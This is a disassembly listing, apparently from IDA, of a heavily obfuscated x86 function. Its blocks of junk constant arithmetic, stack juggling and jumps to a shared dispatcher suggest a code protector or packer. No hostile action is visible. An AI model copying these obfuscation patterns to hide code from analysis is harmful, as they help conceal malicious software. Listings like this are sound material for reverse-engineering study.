loc_588B65:				; CODE XREF: sub_57DD3A+4EFBj
		add	ecx, 1D051A09h
		add	ecx, 49176985h
		jmp	loc_5827BD
; ---------------------------------------------------------------------------


loc_588B76:				; CODE XREF: sub_57DD3A+8427j
		sub	eax, 29076176h
		sub	eax, ebx
		push	ecx
		mov	ecx, 29076176h
		jmp	loc_5856A5
; ---------------------------------------------------------------------------


loc_588B88:				; CODE XREF: sub_57DD3A+3EC5j
		push	ebx
		push	edi
		mov	edi, 2D735B2Dh
		mov	ebx, 0D28CA4D5h
		add	ebx, 67432E88h
		add	ebx, edi
		jmp	loc_582073
; ---------------------------------------------------------------------------


loc_588BA1:				; CODE XREF: sub_57DD3A+6317j
		neg	esi
		shl	esi, 5
		push	2893h
		mov	[esp+0C0h+var_C0], esi
		inc	[esp+0C0h+var_C0]
		jmp	loc_582A0B
; ---------------------------------------------------------------------------


loc_588BB6:				; CODE XREF: sub_57DD3A+47D1j
		add	ecx, 4
		push	ebp
		mov	ebp, 0FDB0A62h
		dec	ebp
		dec	ebp
		add	ebp, 0F024F5A4h
		jmp	loc_584E92
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0AEh+var_B0+2]
		push	esi
		mov	esi, esp
		jmp	loc_58B664
; ---------------------------------------------------------------------------


loc_588BDB:				; CODE XREF: sub_57DD3A+9EC3j
		push	4EDh
		mov	[esp+92h+var_94+2], esi
		sub	esp, 4
		jmp	loc_58A015
; ---------------------------------------------------------------------------


loc_588BEE:				; CODE XREF: sub_57DD3A+C184j
		neg	ecx
		jmp	loc_58D6D3
; ---------------------------------------------------------------------------


loc_588BF5:				; CODE XREF: sub_57DD3A+ED6Ej
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	6B0Dh
		mov	[esp+96h+var_98+2], eax
		push	ecx
		jmp	loc_58D8B6
; ---------------------------------------------------------------------------


loc_588C10:				; CODE XREF: sub_57DD3A+58F7j
		push	small 23F2h
		mov	word ptr [esp+0AAh+var_AC+2], cx
		mov	cx, 341Fh
		sub	ax, 4E5Eh
		sub	ax, cx
		add	ax, 4E5Eh
		pop	cx
		add	ax, 7D0Bh
		add	ax, bx
		jmp	loc_581D80
; ---------------------------------------------------------------------------


loc_588C35:				; CODE XREF: sub_57DD3A+F0D7j
		push	[esp+0A8h+var_A8]
		pop	ecx
		push	ebx
		jmp	loc_5862C4
; ---------------------------------------------------------------------------


loc_588C3F:				; CODE XREF: sub_57DD3A+9A89j
		add	ebp, 4
		xor	ebp, [esp+70h+var_70]
		xor	[esp+70h+var_70], ebp
		jmp	loc_58DBA0
; ---------------------------------------------------------------------------


loc_588C50:				; CODE XREF: sub_57DD3A+BDA3j
		sub	esp, 4
		jmp	loc_58CC97
; ---------------------------------------------------------------------------


loc_588C5B:				; CODE XREF: sub_57DD3A+A3AAj
		mov	ebx, 39A34AE6h
		shr	ebx, 1
		jmp	loc_5889C4
; ---------------------------------------------------------------------------


loc_588C67:				; CODE XREF: sub_57DD3A+51B7j
		pop	esi
		sub	edi, 1DAF0139h
		shl	edi, 4
		jmp	loc_588508
; ---------------------------------------------------------------------------


loc_588C76:				; CODE XREF: sub_57DD3A+70B5j
		mov	esi, 13DF27C8h
		and	esi, 6D3111EEh
		sub	esi, 0FDE299D1h
		push	ecx
		mov	ecx, esi
		mov	[edi+20h], ecx
		pop	ecx
		pop	esi
		shr	dword ptr [edi+20h], 2
		jmp	loc_58203B
; ---------------------------------------------------------------------------


loc_588C98:				; CODE XREF: sub_57DD3A+9FFBj
		add	edx, eax
		pop	eax
		add	edx, 2
		push	78E8h
		mov	[esp+74h+var_74], edx
		push	[esp+74h+var_70]
		push	[esp+78h+var_78]
		pop	edx
		add	esp, 4
		pop	[esp+74h+var_74]
		mov	esp, [esp+70h+var_70]
		movsx	cx, al
		sub	esp, 4
		mov	[esp+74h+var_74], ecx
		mov	ecx, esp
		push	esi
		jmp	loc_58AA1D
; ---------------------------------------------------------------------------


loc_588CCF:				; CODE XREF: sub_57DD3A+B647j
		sub	byte ptr [esp+78h+var_78], al
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_588CD8:				; CODE XREF: sub_57DD3A+AD2Ej
		pop	edx
		add	edx, ebp
		pop	ebp
		sub	edx, 4
		push	edx
		push	[esp+72h+var_70+2]
		mov	edx, [esp+76h+var_78+2]
		add	esp, 4
		jmp	loc_585EE0
; ---------------------------------------------------------------------------


loc_588CEF:				; CODE XREF: sub_57DD3A+7C5Fj
		add	esp, 4
		add	edi, 2
		jmp	loc_5894CE
; ---------------------------------------------------------------------------


loc_588CFA:				; CODE XREF: sub_57DD3A+6794j
		push	ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_588D02:				; CODE XREF: sub_57DD3A+720Cj
		xchg	ebx, [esp+90h+var_90]
		pop	esp
		xor	ecx, [esp+8Ch+var_8C]
		jmp	loc_58308F
; ---------------------------------------------------------------------------


loc_588D0E:				; CODE XREF: sub_57DD3A+F30Fj
		sub	ebx, esi
		add	ebx, 9D7181Bh
		mov	esi, [esp+8Ch+var_8C]
		add	esp, 4
		jmp	loc_589FE2
; ---------------------------------------------------------------------------


loc_588D24:				; CODE XREF: sub_57DD3A+80EFj
		pop	esi
		sub	ebp, edx
		mov	edx, [esp+62h+var_64+2]
		jmp	loc_585722
; ---------------------------------------------------------------------------


loc_588D2F:				; CODE XREF: sub_57DD3A+FBFFj
		mov	[esp+62h+var_64+2], ebx
		jmp	loc_58D1C5
; ---------------------------------------------------------------------------


loc_588D37:				; CODE XREF: sub_57DD3A+EA2Aj
		mov	esp, [esp+62h+var_64+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_585E87
; ---------------------------------------------------------------------------


loc_588D42:				; CODE XREF: sub_57DD3A+FA34j
		shl	ebp, 2
		xor	ebp, 622A4A94h
		sub	ebp, 54FBE085h
		mov	edx, ebp
		pop	ebp
		add	edx, ebp
		jmp	loc_5852C0
; ---------------------------------------------------------------------------


loc_588D5B:				; CODE XREF: sub_57DD3A+ACF3j
		add	ebp, ecx
		pop	ecx
		xor	ebp, 5AF25C8Ch
		xchg	edi, ebp
		neg	edi
		jmp	loc_589518
; ---------------------------------------------------------------------------


loc_588D6D:				; CODE XREF: sub_57DD3A+F65Ej
		not	edx
		xor	edx, 0F19CB752h
		jmp	loc_58C410
; ---------------------------------------------------------------------------


loc_588D7A:				; CODE XREF: sub_57DD3A+4F6Cj
		mov	ebx, [esp+94h+var_94]
		add	esp, 4
		add	esp, 4
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_588D8B:				; CODE XREF: sub_57DD3A+C42Dj
		push	esi
		mov	esi, edx
		mov	edi, esi
		pop	esi
		pop	edx
		jmp	loc_58D60E
; ---------------------------------------------------------------------------


loc_588D97:				; CODE XREF: sub_57DD3A+5512j
		add	ebx, 69E239FFh
		jmp	loc_585739
; ---------------------------------------------------------------------------


loc_588DA2:				; CODE XREF: sub_57DD3A+A222j
		add	[esp+86h+var_88+2], 4
		pop	edi
		push	edx
		mov	edx, 67305F8Fh
		dec	edx
		shl	edx, 6
		sub	edx, 1B965144h
		add	edx, 4F7E6DC8h
		jmp	loc_589BAD
; ---------------------------------------------------------------------------


loc_588DC2:				; CODE XREF: sub_57DD3A+CBF0j
		mov	[esp+86h+var_88+2], esi
		push	edi
		push	5E2E24DFh
		pop	edi
		shl	edi, 1
		inc	edi
		add	edi, 308B235Fh
		add	edi, 1318A2E2h
		jmp	loc_58B48D
; ---------------------------------------------------------------------------


loc_588DE0:				; CODE XREF: sub_57DD3A+EF8Cj
		mov	[esp+8Ah+var_8C+2], esp
		add	[esp+8Ah+var_8C+2], 4
		mov	edi, [esp+8Ah+var_8C+2]
		add	esp, 4
		push	0C2Ah
		mov	[esp+8Ah+var_8C+2], esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp+8Ah+var_8C+2]
		add	esp, 4
		jmp	loc_58478B
; ---------------------------------------------------------------------------


loc_588E0D:				; CODE XREF: sub_57DD3A+766Fj
		pop	edx
		shr	ch, 7
		sub	esp, 4
		mov	[esp+0C4h+var_C4], eax
		mov	al, 0BEh
		jmp	loc_5858C8
; ---------------------------------------------------------------------------


loc_588E1E:				; CODE XREF: sub_57DD3A+4B5Dj
		pop	eax
		shl	ebp, 5
		jmp	loc_58BEB1
; ---------------------------------------------------------------------------


loc_588E27:				; CODE XREF: sub_57DD3A+9797j
		pop	edi
		add	ebp, esi
		pop	esi
		add	ebp, 2
		jmp	loc_58B57B
; ---------------------------------------------------------------------------


loc_588E33:				; CODE XREF: sub_57DD3A+5EF0j
		sub	ecx, 18945C07h
		jmp	loc_58D78D
; ---------------------------------------------------------------------------


loc_588E3E:				; CODE XREF: sub_57DD3A+EF67j
		add	[esp+7Eh+var_7C+2], eax
		jmp	loc_588031
; ---------------------------------------------------------------------------


loc_588E47:				; CODE XREF: sub_57DD3A+7F2Dj
		xchg	ebp, [esp+76h+var_78+2]
		pop	esp
		add	esi, ecx
		jmp	loc_5878A2
; ---------------------------------------------------------------------------


loc_588E52:				; CODE XREF: sub_57DD3A+C5F7j
		push	[esp+72h+var_74+2]
		pop	esi
		jmp	loc_58704C
; ---------------------------------------------------------------------------


loc_588E5B:				; CODE XREF: sub_57DD3A+858Cj
		add	ebx, 4
		push	ebp
		mov	ebp, 50037B15h
		dec	ebp
		shl	ebp, 1
		xor	ebp, 84F2BF4h
		push	ecx
		mov	ecx, 38A26B5Dh
		jmp	loc_58670B
; ---------------------------------------------------------------------------


loc_588E7B:				; CODE XREF: sub_57DD3A+3E9Aj
		pop	dx
		push	4CD7h
		mov	[esp+76h+var_78+2], ecx
		jmp	loc_5872BA
; ---------------------------------------------------------------------------


loc_588E8A:				; CODE XREF: sub_57DD3A+CAF5j
		push	cx
		jmp	loc_5854C0
; ---------------------------------------------------------------------------


loc_588E91:				; CODE XREF: sub_57DD3A+B89Cj
		add	al, dh
		jmp	loc_58B1C5
; ---------------------------------------------------------------------------


loc_588E98:				; CODE XREF: sub_57DD3A+F760j
		xor	eax, ebx
		push	7C96h
		mov	[esp+7Ch+var_7C], esi
		jmp	loc_585F1C
; ---------------------------------------------------------------------------


loc_588EA7:				; CODE XREF: sub_57DD3A+D3D8j
		pop	ecx
		jmp	loc_584718
; ---------------------------------------------------------------------------


loc_588EAD:				; CODE XREF: sub_57DD3A+9AFFj
		pop	ebx
		jmp	loc_58902B
; ---------------------------------------------------------------------------


loc_588EB3:				; CODE XREF: sub_57DD3A+D9EDj
		pop	[esp+0E0h+var_E0]
		pop	esp
		mov	[esp+0D8h+var_D8], edi
		push	5E24D1A0h
		pop	edi
		sub	eax, 7C2733ACh
		sub	eax, 794508E1h
		add	eax, edi
		add	eax, 794508E1h
		push	ebx
		mov	ebx, 7C2733ACh
		jmp	loc_5896E8
; ---------------------------------------------------------------------------


loc_588EDC:				; CODE XREF: sub_57DD3A+6447j
		push	edx
		mov	edx, 53EA47FCh
		push	ecx
		mov	ecx, 7EA405E0h
		and	ecx, 242369BAh
		and	ecx, 7683687Eh
		and	ecx, 28050D65h
		jmp	loc_58363E
; ---------------------------------------------------------------------------


loc_588EFF:				; CODE XREF: sub_57DD3A+F71Cj
		add	ebp, 99278C59h
		push	eax
		mov	eax, 2723231h
		jmp	loc_58A2FB
; ---------------------------------------------------------------------------


loc_588F10:				; CODE XREF: sub_57DD3A+B829j
		xor	edx, 378A2072h
		sub	ebp, 3D4805A1h
		jmp	loc_588576
; ---------------------------------------------------------------------------


loc_588F21:				; CODE XREF: sub_57DD3A+5B0Ej
		mov	ebx, 4372F47h
		not	ebx
		xor	ebx, 74D92E6Ah
		shr	ebx, 6
		and	ebx, 643525A8h
		sub	ebx, 0E8AA8A28h
		jmp	loc_583BF8
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		push	ebx
		push	[esp+0C0h+var_BC]
		pop	ebx
		pop	[esp+0C0h+var_C0]
		pop	esp
		mov	[esp+0B8h+var_B8], eax
		mov	eax, esp
		jmp	loc_58A204
; ---------------------------------------------------------------------------


loc_588F68:				; CODE XREF: sub_57DD3A+63D4j
		mov	eax, [esp+84h+var_84]
		jmp	loc_585D11
; ---------------------------------------------------------------------------


loc_588F70:				; CODE XREF: sub_57DD3A+FF56j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_588F75:				; CODE XREF: sub_57DD3A+806Dj
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_58CA11
; ---------------------------------------------------------------------------


loc_588F82:				; CODE XREF: sub_57DD3A+639Ej
		mov	edi, 1B540F6Ah
		or	edi, 14BC5CFAh
		or	edi, 0C075777h
		shl	edi, 1
		add	edi, 0F7859927h
		or	edx, edi
		jmp	loc_58372A
; ---------------------------------------------------------------------------


loc_588FA2:				; CODE XREF: sub_57DD3A+D291j
		pop	esp
		jmp	loc_583365
; ---------------------------------------------------------------------------


loc_588FA8:				; CODE XREF: sub_57DD3A+C89Fj
		push	ebp
		push	2897h
		mov	[esp+0B8h+var_B8], esp
		jmp	loc_58CB7E
; ---------------------------------------------------------------------------


loc_588FB6:				; CODE XREF: sub_57DD3A+43F5j
		add	esp, 4
		add	esp, 4
		pop	edx
		jmp	loc_5884DE
; ---------------------------------------------------------------------------


loc_588FC8:				; CODE XREF: sub_57DD3A+E172j
		pop	eax
		jmp	loc_58D367
; ---------------------------------------------------------------------------


loc_588FCE:				; CODE XREF: sub_57DD3A+F8CFj
		mov	esi, ebx
		pop	ebx
		sub	ecx, esi
		pop	esi
		sub	ecx, ebp
		jmp	loc_58223D
; ---------------------------------------------------------------------------


loc_588FDB:				; CODE XREF: sub_57DD3A+A0E3j
		pop	[esp+62h+var_64+2]
		jmp	loc_58A7D6
; ---------------------------------------------------------------------------


loc_588FE3:				; CODE XREF: sub_57DD3A+C970j
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 23B71B5Ch
		add	edi, 19396E79h
		push	esi
		mov	esi, 65FA57EFh
		or	edi, esi
		jmp	loc_588407
; ---------------------------------------------------------------------------


loc_589004:				; CODE XREF: sub_57DD3A+58FFj
		xchg	edi, [esp+0A4h+var_A4]
		pop	esp
		mov	dh, 80h
		xor	dh, cl
		mov	ecx, [esp+0A0h+var_A0]
		add	esp, 4
		add	al, 0E7h
		add	al, dh
		sub	al, 0E7h
		mov	edx, [esp+9Ch+var_9C]
		add	esp, 4
		push	edx
		push	ecx
		jmp	loc_58A46F
; ---------------------------------------------------------------------------


loc_58902B:				; CODE XREF: sub_57DD3A+B174j
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_58492D
; ---------------------------------------------------------------------------


loc_58903C:				; CODE XREF: sub_57DD3A+E373j
		push	eax
		push	ebp
		mov	ebp, 41FC3566h
		push	ecx
		mov	ecx, 5DD229AAh
		push	4ACBh
		mov	[esp+0F4h+var_F4], edx
		mov	edx, 3B2062FAh
		and	edx, 27691D00h
		xor	edx, 53F411D9h
		jmp	loc_58BDFF
; ---------------------------------------------------------------------------


loc_589067:				; CODE XREF: sub_57DD3A+62AEj
		pop	edi
		add	edx, esi
		sub	edx, 3AD90F4Eh
		jmp	loc_583948
; ---------------------------------------------------------------------------


loc_589075:				; CODE XREF: sub_57DD3A+A3A1j
		pop	ebp
		add	edi, 4
		xchg	edi, [esp+0B0h+var_B0]
		jmp	loc_58631B
; ---------------------------------------------------------------------------


loc_589081:				; CODE XREF: sub_57DD3A+6E2Dj
		pop	ebp
		pop	ecx
		mov	[edi+20h], ebx
		push	[esp+78h+var_78]
		jmp	loc_5847E5
; ---------------------------------------------------------------------------


loc_58908E:				; CODE XREF: sub_57DD3A+5003j
		pop	eax
		jmp	loc_586BB6
; ---------------------------------------------------------------------------


loc_589094:				; CODE XREF: sub_57DD3A+AB81j
		sub	edx, 0C677A8h
		jmp	loc_585B53
; ---------------------------------------------------------------------------


loc_58909F:				; CODE XREF: sub_57DD3A+4E83j
		push	ebp
		jmp	loc_58B00E
; ---------------------------------------------------------------------------


loc_5890A5:				; CODE XREF: sub_57DD3A+BE06j
		mov	[esp+54h+var_54], ebp
		mov	ebp, 303C56FDh
		add	[esp+0Ch], ebp
		pop	ebp
		mov	esi, [esp+50h+var_50]
		add	esp, 4
		add	[esp+4], eax
		sub	dword ptr [esp+4], 0DED4D47h
		pop	eax
		jmp	loc_58A3E6
; ---------------------------------------------------------------------------


loc_5890CD:				; CODE XREF: sub_57DD3A+B84Aj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5890D2:				; CODE XREF: sub_57DD3A+C896j
		and	ebx, 3A2D1A6Ch
		sub	ebx, 18081A5Ch
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+44h+var_46+2]
		jmp	loc_58A8CF
; ---------------------------------------------------------------------------


loc_5890E9:				; CODE XREF: sub_57DD3A+A2A0j
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp+0D0h+var_D0], edx
		mov	edx, 4ACE6AB3h
		push	esi
		jmp	loc_587540
; ---------------------------------------------------------------------------


loc_589102:				; CODE XREF: sub_57DD3A+D394j
		mov	esi, 0CC113624h
		xor	edi, esi
		pop	esi
		mov	ebp, edi
		mov	edi, [esp+0D0h+var_D0]
		add	esp, 4
		jmp	loc_589A3B
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0CCh+var_CC]
		push	12ABh
		mov	[esp+0D0h+var_D0], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+0D4h+var_D4], ecx
		jmp	loc_588168
; ---------------------------------------------------------------------------


loc_589133:				; CODE XREF: sub_57DD3A+6EB7j
		pop	ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+86h+var_88+2]
		mov	esp, [esp+86h+var_88+2]
		pop	dword ptr [eax]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_589150:				; CODE XREF: sub_57DD3A+FEBAj
		mov	esp, [esp+82h+var_84+2]
		push	edx
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], esp
		add	[esp+8Ah+var_8C+2], 4
		jmp	loc_58763F
; ---------------------------------------------------------------------------


loc_589166:				; CODE XREF: sub_57DD3A+6EE4j
		xor	esi, [esp+62h+var_64+2]
		mov	esp, [esp+62h+var_64+2]
		jmp	loc_58CFF2
; ---------------------------------------------------------------------------


loc_589171:				; CODE XREF: sub_57DD3A+8E22j
		mov	esi, 40092011h
		add	ebx, esi
		jmp	loc_58B78C
; ---------------------------------------------------------------------------


loc_58917D:				; CODE XREF: sub_57DD3A+689Cj
		sub	ch, al
		jmp	loc_58BAC8
; ---------------------------------------------------------------------------


loc_589184:				; CODE XREF: sub_57DD3A+F4C4j
		mov	dx, word ptr [esp+86h+var_88+2]
		add	esp, 2
		add	al, dh
		jmp	loc_58C47E
; ---------------------------------------------------------------------------


loc_589192:				; CODE XREF: sub_57DD3A+6F8Cj
		mov	edx, 5A2634A7h
		sub	ebx, edx
		mov	edx, [esp+90h+var_90]
		jmp	loc_58708E
; ---------------------------------------------------------------------------


loc_5891A1:				; CODE XREF: sub_57DD3A+BBC5j
		add	eax, edi
		add	eax, 2C5D4903h
		push	[esp+90h+var_90]
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+94h+var_94]
		mov	esp, [esp+94h+var_94]
		push	7518h
		mov	[esp+98h+var_98], edx
		push	edi
		mov	edi, 2B623BDEh
		push	edi
		sub	[esp+0A0h+var_A0], 74C638Ah
		pop	edx
		add	edx, 74C638Ah
		push	[esp+9Ch+var_9C]
		jmp	loc_58BD35
; ---------------------------------------------------------------------------


loc_5891E3:				; CODE XREF: sub_57DD3A+9ECBj
		add	[esp+68h+var_64], edx
		pop	edx
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+64h+var_64], ebp
		mov	ebp, 47AB0277h
		jmp	loc_58B174
; ---------------------------------------------------------------------------


loc_5891FF:				; CODE XREF: sub_57DD3A+84E2j
		sub	ebp, 921539F9h
		add	eax, ebp
		mov	ebp, [esp+78h+var_78]
		push	3DCCh
		mov	[esp+7Ch+var_7C], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58712D
; ---------------------------------------------------------------------------


loc_58921F:				; CODE XREF: sub_57DD3A+D5C5j
		push	ebp
		mov	ebp, 59D50AEAh
		sub	ebp, 59D50AE6h
		sub	esi, 7C636A1Dh
		jmp	loc_58D3E8
; ---------------------------------------------------------------------------


loc_589236:				; CODE XREF: sub_57DD3A+D03Dj
		pop	ecx
		push	ax
		push	356Dh
		mov	[esp+82h+var_84+2], edx
		jmp	loc_584056
; ---------------------------------------------------------------------------


loc_589246:				; CODE XREF: sub_57DD3A+D10Ej
		push	ebp
		mov	ebp, 40B9286Ch
		sub	ebp, 2DB062C1h
		sub	ebp, 7B635888h
		jmp	loc_58928E
; ---------------------------------------------------------------------------


loc_58925D:				; CODE XREF: sub_57DD3A+F9BBj
		add	eax, 4
		add	eax, 2
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], eax
		push	[esp+8Ah+var_88+2]
		pop	eax
		pop	[esp+8Ah+var_8C+2]
		pop	esp
		push	small 1DD8h
		mov	word ptr [esp+84h+var_84], dx
		push	ecx
		jmp	loc_58C1E1
; ---------------------------------------------------------------------------


loc_589285:				; CODE XREF: sub_57DD3A+895Ej
		xor	edx, ecx
		xor	ecx, edx
		jmp	loc_589A4E
; ---------------------------------------------------------------------------


loc_58928E:				; CODE XREF: sub_57DD3A+B51Ej
		or	ebp, 0AA46AC1h
		xor	ebp, 3D7B652Ah
		xor	ebp, 606481A8h
		xor	eax, ebp
		pop	ebp
		mov	ebx, eax
		mov	eax, [esp+82h+var_84+2]
		add	esp, 4
		add	edx, 7A0B4291h
		jmp	loc_586B1C
; ---------------------------------------------------------------------------


loc_5892B6:				; CODE XREF: sub_57DD3A+98C4j
		sub	ch, 4Fh
		add	al, ch
		pop	ecx
		jmp	loc_58D1B4
; ---------------------------------------------------------------------------


loc_5892C1:				; CODE XREF: sub_57DD3A+625Dj
		mov	ebx, 4
		add	esi, ebx
		push	[esp+0C0h+var_C0]
		mov	ebx, [esp+0C4h+var_C4]
		add	esp, 4
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp+0BCh+var_BC]
		mov	esp, [esp+0BCh+var_BC]
		shr	eax, 0Ah
		xor	eax, ecx
		xchg	eax, ecx
		sub	esp, 4
		mov	[esp+0C0h+var_C0], ecx
		xchg	edi, [esp+0C0h+var_C0]
		not	edi
		push	edi
		push	[esp+0C4h+var_C0]
		mov	edi, [esp+0C8h+var_C8]
		add	esp, 4
		pop	[esp+0C4h+var_C4]
		mov	ecx, [esp+0C0h+var_C0]
		add	esp, 4
		push	eax
		push	3BADh
		jmp	loc_58BC29
; ---------------------------------------------------------------------------


loc_589310:				; CODE XREF: sub_57DD3A+DC15j
		push	ebx
		mov	bh, 43h
		neg	bh
		sub	bh, 2Eh
		sub	ch, bh
		pop	ebx
		add	bl, ch
		pop	ecx
		movzx	eax, al
		push	small 7AB8h
		jmp	loc_58AB24
; ---------------------------------------------------------------------------


loc_58932A:				; CODE XREF: sub_57DD3A+536Ej
		sub	eax, 0BD26722h
		jmp	loc_588A52
; ---------------------------------------------------------------------------


loc_589334:				; CODE XREF: sub_57DD3A+C98Fj
		sub	esi, eax
		pop	eax
		add	eax, esi
		mov	esi, [esp+9Eh+var_A0+2]
		add	esp, 4
		xchg	eax, [esp+9Ah+var_9C+2]
		mov	esp, [esp+9Ah+var_9C+2]
		mov	ax, word ptr [esp+9Ah+var_9C+2]
		push	7C8Ah
		jmp	loc_582821
; ---------------------------------------------------------------------------


loc_589353:				; CODE XREF: sub_57DD3A+6F72j
		push	ebp
		push	esp
		mov	ebp, [esp+94h+var_94]
		jmp	loc_58A390
; ---------------------------------------------------------------------------


loc_58935D:				; CODE XREF: sub_57DD3A+450Aj
		add	eax, ecx
		mov	ecx, [esp+7Ah+var_7C+2]
		jmp	loc_58B6A1
; ---------------------------------------------------------------------------


loc_589367:				; CODE XREF: sub_57DD3A+8140j
		push	edx
		mov	edx, 0DE75F78Ch
		sub	esi, edx
		jmp	loc_58BF37
; ---------------------------------------------------------------------------


loc_589374:				; CODE XREF: sub_57DD3A+3E7Bj
		mov	ebp, [esp+76h+var_78+2]
		add	esp, 4
		xchg	edi, [esp+72h+var_74+2]
		pop	esp
		jmp	loc_588CCF
; ---------------------------------------------------------------------------


loc_589386:				; CODE XREF: sub_57DD3A+4988j
		mov	[esp+7Eh+var_80+2], esi
		mov	esi, 439947EAh
		sub	ebp, 6AC826A6h
		sub	ebp, 41844687h
		sub	ebp, esi
		push	eax
		mov	eax, 72C97CCBh
		and	eax, 595B7F92h
		shr	eax, 2
		dec	eax
		jmp	loc_586007
; ---------------------------------------------------------------------------


loc_5893B0:				; CODE XREF: sub_57DD3A+5F0Ej
		push	ecx
		mov	ecx, 4
		add	[esp+86h+var_84+2], ecx
		pop	ecx
		push	[esp+82h+var_84+2]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58508B
; ---------------------------------------------------------------------------


loc_5893D0:				; CODE XREF: sub_57DD3A+6580j
		add	edi, ecx
		pop	ecx
		push	ecx
		push	edi
		jmp	loc_584E72
; ---------------------------------------------------------------------------
		push	[esp+8Eh+var_90+2]
		push	[esp+92h+var_94+2]
		pop	eax
		push	ebp
		jmp	loc_583F75
; ---------------------------------------------------------------------------
		neg	[esp+96h+var_98+2]
		pushf
		jmp	loc_585612
; ---------------------------------------------------------------------------


loc_5893F0:				; CODE XREF: sub_57DD3A+C63Dj
		push	0BCFh
		mov	[esp+9Eh+var_A0+2], edi
		jmp	loc_588A32
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		mov	cl, 4Ch
		add	cl, 0FFh
		jmp	loc_58CF24
; ---------------------------------------------------------------------------


loc_589409:				; CODE XREF: sub_57DD3A+FC56j
		sub	esp, 4
		mov	[esp+0A6h+var_A8+2], esi
		mov	esi, 2DAB1B79h
		add	[esp+0A6h+var_A4+2], esi
		jmp	loc_585DD4
; ---------------------------------------------------------------------------


loc_58941D:				; CODE XREF: sub_57DD3A+4AEAj
		mov	edx, esp
		push	ebp
		push	ebx
		push	esi
		jmp	loc_582F52
; ---------------------------------------------------------------------------


loc_589427:				; CODE XREF: sub_57DD3A+D675j
		add	edx, 1F77F34h
		pop	ebx
		xchg	edx, [esp+0C2h+var_C4+2]
		pop	esp
		jmp	loc_584483
; ---------------------------------------------------------------------------


loc_589437:				; CODE XREF: sub_57DD3A+5187j
		add	eax, esi
		push	ebx
		mov	ebx, 6CB87C3Eh
		sub	eax, 11576F49h
		sub	eax, ebx
		jmp	loc_58354D
; ---------------------------------------------------------------------------


loc_58944B:				; CODE XREF: sub_57DD3A+76CBj
		mov	al, dh
		mov	ch, al
		pop	eax
		jmp	loc_581FB0
; ---------------------------------------------------------------------------


loc_589455:				; CODE XREF: sub_57DD3A+5AFAj
		pop	eax
		add	ecx, ebx
		sub	ecx, 26C94511h
		jmp	loc_5855B1
; ---------------------------------------------------------------------------


loc_589463:				; CODE XREF: sub_57DD3A+8B80j
		sub	esi, 4
		jmp	loc_5870BC
; ---------------------------------------------------------------------------


loc_58946E:				; CODE XREF: sub_57DD3A+45E9j
		add	ebp, edx
		pop	edx
		push	41A4h
		mov	[esp+6Eh+var_70+2], edx
		mov	edx, 27242AD2h
		jmp	loc_581E12
; ---------------------------------------------------------------------------


loc_589483:				; CODE XREF: sub_57DD3A+E211j
		xchg	edx, [esp+6Eh+var_70+2]
		pop	esp
		or	word ptr [esp+6Ah+var_6C+2], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+6Eh+var_70+2]
		sub	esp, 4
		mov	[esp+72h+var_74+2], edi
		push	1B83h
		push	esp
		pop	[esp+7Ah+var_7C+2]
		add	[esp+76h+var_78+2], 4
		pop	edi
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		pop	edx
		add	edi, 16093B11h
		add	edi, esi
		jmp	loc_585990
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5894CE:				; CODE XREF: sub_57DD3A+AFBBj
		push	edi
		push	[esp+62h+var_60+2]
		pop	edi
		pop	[esp+62h+var_64+2]
		mov	esp, [esp+5Eh+var_60+2]
		mov	ax, word ptr [esp+5Eh+var_60+2]
		jmp	loc_58662E
; ---------------------------------------------------------------------------


loc_5894E3:				; CODE XREF: sub_57DD3A+886Cj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5894E8:				; CODE XREF: sub_57DD3A+C3AFj
		add	ebp, 4
		jmp	loc_587E93
; ---------------------------------------------------------------------------


loc_5894F0:				; CODE XREF: sub_57DD3A+F04Ej
		sub	esp, 2
		mov	word ptr [esp+0CEh+var_D0+2], ax
		push	bp
		mov	bp, 4583h
		mov	ax, bp
		pop	bp
		sub	bx, 5BF6h
		sub	bx, ax
		add	bx, 5BF6h
		mov	ax, word ptr [esp+0CEh+var_D0+2]
		jmp	loc_584113
; ---------------------------------------------------------------------------


loc_589518:				; CODE XREF: sub_57DD3A+B02Ej
		xchg	edi, ebp
		inc	ebp
		xor	ebp, 8CC2DF29h
		xor	edx, ebp
		pop	ebp
		jmp	loc_583D7D
; ---------------------------------------------------------------------------


loc_589529:				; CODE XREF: sub_57DD3A+815Fj
		xor	ebp, [esp+5Ch+var_5C]
		jmp	loc_58B069
; ---------------------------------------------------------------------------


